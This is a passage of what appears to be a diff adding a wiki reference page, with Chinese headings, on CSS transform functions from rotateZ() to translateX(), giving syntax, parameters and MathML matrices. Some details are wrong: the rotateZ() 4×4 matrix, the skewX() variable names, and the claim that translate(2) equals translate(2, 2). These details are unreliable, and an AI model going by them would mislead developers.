+   <td colspan="1"><math><mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>0</mtd><mtd>sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="rotateZ()"><code>rotateZ()</code></h3>
+
+<p>The <code>rotateZ()</code>CSS function defines a transformation that moves the element around the z-axis without deforming it. The amount of movement is defined by the specified angle; if positive, the movement will be clockwise, if negative, it will be counter-clockwise.</p>
+
+<p>The axis of rotation passes by the origin, defined by {{ cssxref("transform-origin") }} CSS property.</p>
+
+<p><code>rotateZ(a)</code>is a shorthand for <code>rotate3D(0, 0, 1, a)</code>.</p>
+
+<div class="note">In opposition to rotations in the plane, the composition of 3D rotations is usually not commutative; it means that the order in which the rotations are applied is crucial.</div>
+
+<h4 id="表達式_8">表達式</h4>
+
+<pre class="syntaxbox">rotateZ(<em>a</em>)
+</pre>
+
+<h4 id="值_8">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle of the rotation. A positive angle denotes a clockwise rotation, a negative angle a counter-clockwise one.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math><mfenced><mtable><mtr><mtd>cos(a)</mtd><mtd>-sin(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>sin(a)</mtd><mtd>cos(a)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scale()"><code>scale()</code></h3>
+
+<p><img src="/@api/deki/files/5804/=transform-functions-scale_2_2.png?size=webview" style="float: left; height: 290px; width: 350px;"></p>
+
+<p>The <code>scale()</code> CSS function modifies the size of the element. It can either augment or decrease its size and as the amount of scaling is defined by a vector, it can do so more in one direction than in another one.</p>
+
+<p>This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If both coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</p>
+
+<p>When outside the <code>]-1, 1[</code> range, the scaling enlarges the element in the direction of the coordinate; when inside the range, it shrinks the element in that direction. When equal to <code>1</code> it does nothing and when negative it performs a <em>point reflection</em> and the size modification.</p>
+
+<div class="note">The <code>scale</code><code>()</code> function only applies the transformation in the Euclidian plane (in 2D). To scale in the space, the <code>scale3D()</code> function has to be used.</div>
+
+<h4 id="表達式_9">表達式</h4>
+
+<pre class="syntaxbox">scale(<em>sx</em>) or
+scale(<em>sx</em>, <em>sy</em>)
+</pre>
+
+<h4 id="值_9">值</h4>
+
+<dl>
+ <dt><em>sx</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the abscissa of the scaling vector.</dd>
+ <dt><em>sy</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the ordinate of the scaling vector. If not present, its default value is <em><strong>sx</strong></em>, leading to a uniform scaling preserving the shape of the element.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>sx</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>sy</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[sx 0 0 sy 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scale3d()"><code>scale3d()</code></h3>
+
+<p>The <code>scale3d()</code> CSS function modifies the size of an element. Because the amount of scaling is defined by a vector, it can resize different dimensions at different scales.</p>
+
+<p>This transformation is characterized by a vector whose coordinates define how much scaling is done in each direction. If all three coordinates of the vector are equal, the scaling is uniform, or isotropic, and the shape of the element is preserved. In that case, the scaling function defines a homothetic transformation.</p>
+
+<p>When outside the <code>[-1, 1]</code> range, the scaling enlarges the element in the direction of the coordinate; when inside the range, it shrinks the element in that direction. When equal to <code>1</code> it does nothing and when negative it performs a <em>point reflection</em> and the size modification.</p>
+
+<h4 id="表達式_10">表達式</h4>
+
+<pre class="syntaxbox">scale3d(<em>sx</em>, <em>sy</em>, <em>sz</em>)
+</pre>
+
+<h4 id="值_10">值</h4>
+
+<dl>
+ <dt><em>sx</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the abscissa of the scaling vector.</dd>
+ <dt><em>sy</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the ordinate of the scaling vector.</dd>
+ <dt><em>sz</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the z-component of the scaling vector.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>sx<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>sy</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>sz</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scaleX()"><code>scaleX()</code></h3>
+
+<p><img src="/@api/deki/files/5807/=transform-functions-scaleX_2.png?size=webview" style="float: left; height: 296px; width: 350px;">The <code>scaleX()</code> CSS function modifies the abscissa of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved.</p>
+
+<p><code>scaleX(sx)</code> is a shorthand for <code>scale(sx, 1)</code> or for <code>scale3d(sx, 1, 1)</code>.</p>
+
+<p><code>scaleX(-1)</code> defines an <a class="external" href="http://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a vertical axis passing by the origin (as specified by the <code><a href="transform-origin" rel="custom">transform-origin</a></code> property).</p>
+
+<h4 id="表達式_11">表達式</h4>
+
+<pre class="syntaxbox">scaleX(<em>s</em>)
+</pre>
+
+<h4 id="值_11">值</h4>
+
+<dl>
+ <dt><em>s</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the scaling factor to apply on the abscissa of each point of the element.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced> <mtable> <mtr><mtd>s</mtd><mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>1</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>s<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[s 0 0 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scaleY()"><code>scaleY()</code></h3>
+
+<p><img src="/@api/deki/files/5967/=transform-functions-scaleY_2.png" style="float: left;"></p>
+
+<p>The <code>scaleY()</code> CSS function modifies the ordinate of each element point by a constant factor except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved.</p>
+
+<p><code>scaleY(sy)</code> is a shorthand for <code>scale(1, sy)</code> or for <code>scale3d(1, sy, 1)</code>.</p>
+
+<p><code>scaleY(-1)</code> defines an <a class="external" href="http://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> with a horizontal axis passing by the origin (as specified by the <code><a href="transform-origin" rel="custom">transform-origin</a></code> property).</p>
+
+<h4 id="表達式_12">表達式</h4>
+
+<pre class="syntaxbox">scaleY(s)
+</pre>
+
+<h4 id="值_12">值</h4>
+
+<dl>
+ <dt><em>s</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the scaling factor to apply on the ordinate of each point of the element.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd></mtr> <mtr><mtd>0</mtd><mtd>s</mtd></mtr> </mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>s</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 s 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="scaleZ()"><code>scaleZ()</code></h3>
+
+<p>The <code>scaleZ()</code> CSS function modifies the z-coordinate of each element point by a constant factor, except if this scale factor is <code>1</code>, in which case the function is the identity transform. The scaling is not isotropic and the angles of the element are not conserved.</p>
+
+<p><code>scaleZ(sz)</code> is a shorthand for <code>scale3d(1, 1, sz)</code>.</p>
+
+<p><code>scaleZ(-1)</code> defines an <a class="external" href="http://en.wikipedia.org/wiki/Axial_symmetry">axial symmetry</a> along the z-axis passing by the origin (as specified by the <code><a href="transform-origin" rel="custom">transform-origin</a></code> property).</p>
+
+<h4 id="表達式_13">表達式</h4>
+
+<pre class="syntaxbox">scaleZ(s)
+</pre>
+
+<h4 id="值_13">值</h4>
+
+<dl>
+ <dt><em>s</em></dt>
+ <dd>Is a {{cssxref("&lt;number&gt;")}} representing the scaling factor to apply on the z-coordinate of each point of the element.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">This transform applies to the 3D space and cannot be represented on the plane.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>s</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>s</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="skew()"><code>skew()</code></h3>
+
+<p>The <code>skew()</code> CSS function is a shear mapping, or transvection, distorting each point of an element by a certain angle in each direction. It is done by increasing each coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</p>
+
+<h4 id="表達式_14">表達式</h4>
+
+<pre class="syntaxbox">skew(<em>ax</em>)       <em>or</em>
+skew(<em>ax</em>, <em>ay</em>)
+</pre>
+
+<h4 id="值_14">值</h4>
+
+<dl>
+ <dt><em>ax</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle to use to distort the element along the abscissa.</dd>
+ <dt><em>ay</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle to use to distort the element along the ordinate.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd></mtr><mtr>tan(ay)<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr><mtr></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ax)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ay)<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 tan(ay) tan(ax) 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="skewX()"><code>skewX()</code></h3>
+
+<p>The <code>skewX()</code> CSS function is a horizontal shear mapping distorting each point of an element by a certain angle in the horizontal direction. It is done by increasing the abscissa coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</p>
+
+<h4 class="editable" id="表達式_15"><span>表達式</span></h4>
+
+<pre class="syntaxbox">skewX(a)
+</pre>
+
+<h4 id="值_15">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle to use to distort the element along the abscissa.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd></mtr><mtr>0<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>tan(ay)</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 tan(a) 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="skewY()"><code>skewY()</code></h3>
+
+<p>The <code>skewY()</code> CSS function is a vertical shear mapping distorting each point of an element by a certain angle in the vertical direction. It is done by increasing the ordinate coordinate by a value proportionate to the specified angle and to the distance to the origin. The more far from the origin, the more away the point is, the greater will be the value added to it.</p>
+
+<h4 class="editable" id="表達式_16">表達式</h4>
+
+<pre class="syntaxbox">skewY(a)
+</pre>
+
+<h4 id="值_16">值</h4>
+
+<dl>
+ <dt><em>a</em></dt>
+ <dd>Is an {{ cssxref("&lt;angle&gt;") }} representing the angle to use to distort the element along the ordinate.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr>tan(ax)<mtd>1</mtd><mtd>0</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 tan(a) 0 1 0 0]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="translate()"><code>translate()</code></h3>
+
+<p><img src="/@api/deki/files/5970/=transform-functions-translate_2.png" style="float: left;">The <code>translate()</code> CSS function moves the position of the element on the plane. This transformation is characterized by a vector whose coordinates define how much it moves in each direction.</p>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre class="syntaxbox">translate(tx)       <em>or</em>
+translate(tx, ty)
+</pre>
+
+<h4 id="值_17">值</h4>
+
+<dl>
+ <dt><em>tx</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the abscissa of the translating vector.</dd>
+ <dt><em>ty</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the ordinate of the translating vector. If missing, it is assumed to be equals to <strong>tx</strong> :  <code>translate(2)</code> means <code>translate(2, 2)</code>.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>A translation is not a linear transform in ℝ<sup>2</sup> and cannot be represented using a matrix in the cartesian coordinates system.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+  <tr>
+   <td><code>[1 0 0 1 tx ty]</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="translate3d()"><code>translate3d()</code></h3>
+
+<p>The <code>translate3d()</code> CSS function moves the position of the element in the 3D space. This transformation is characterized by a 3-dimension vector whose coordinates define how much it moves in each direction.</p>
+
+<h4 id="表達式_17">表達式</h4>
+
+<pre class="syntaxbox">translate3d(tx, ty, tz)
+</pre>
+
+<h4 id="值_18">值</h4>
+
+<dl>
+ <dt><em>tx</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the abscissa of the translating vector.</dd>
+ <dt><em>ty</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the ordinate of the translating vector.</dd>
+ <dt><em>tz</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the z component of the translating vector. It can't be a {{cssxref("&lt;percentage&gt;")}} value; in that case the property containing the transform is considered invalid.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="2" rowspan="2">
+    <p>This transform applies to the 3D space and cannot be represented on the plane.</p>
+   </td>
+   <td colspan="1" rowspan="2">A translation is not a linear transform in ℝ<sup>3</sup> and cannot be represented using a matrix in the Cartesian coordinates system.</td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>0</mtd><mtd>tx</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd><mtd>ty</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd><mtd>tz</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="translateX()"><code>translateX()</code></h3>
+
+<p><img src="/@api/deki/files/5972/=transform-functions-translateX_2.png" style="float: left;">The <code>translateX()</code> CSS function moves the element horizontally on the plane. This transformation is characterized by a {{cssxref("&lt;length&gt;")}} defining how much it moves horizontally.</p>
+
+<p><code>translateX(tx)</code> is a shortcut for <code>translate(tx, 0)</code>.</p>
+
+<h4 id="表達式_18">表達式</h4>
+
+<pre class="syntaxbox">translateX(t)
+</pre>
+
+<h4 id="值_19">值</h4>
+
+<dl>
+ <dt><em>t</em></dt>
+ <dd>Is a {{cssxref("&lt;length&gt;")}} representing the abscissa of the translating vector.</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Cartesian coordinates on ℝ<sup>2</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>2</sup></th>
+   <th scope="col">Cartesian coordinates on ℝ<sup>3</sup></th>
+   <th scope="col">Homogeneous coordinates on ℝℙ<sup>3</sup></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td colspan="1" rowspan="2">
+    <p>A translation is not a linear transform in ℝ<sup>2</sup> and cannot be represented using a matrix in the cartesian coordinates system.</p>
+   </td>
+   <td><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
+   <td colspan="1" rowspan="2"><math> <mfenced><mtable><mtr>1<mtd>0</mtd><mtd>t</mtd></mtr><mtr>0<mtd>1</mtd><mtd>0</mtd></mtr><mtr><mtd>0</mtd><mtd>0</mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></td>
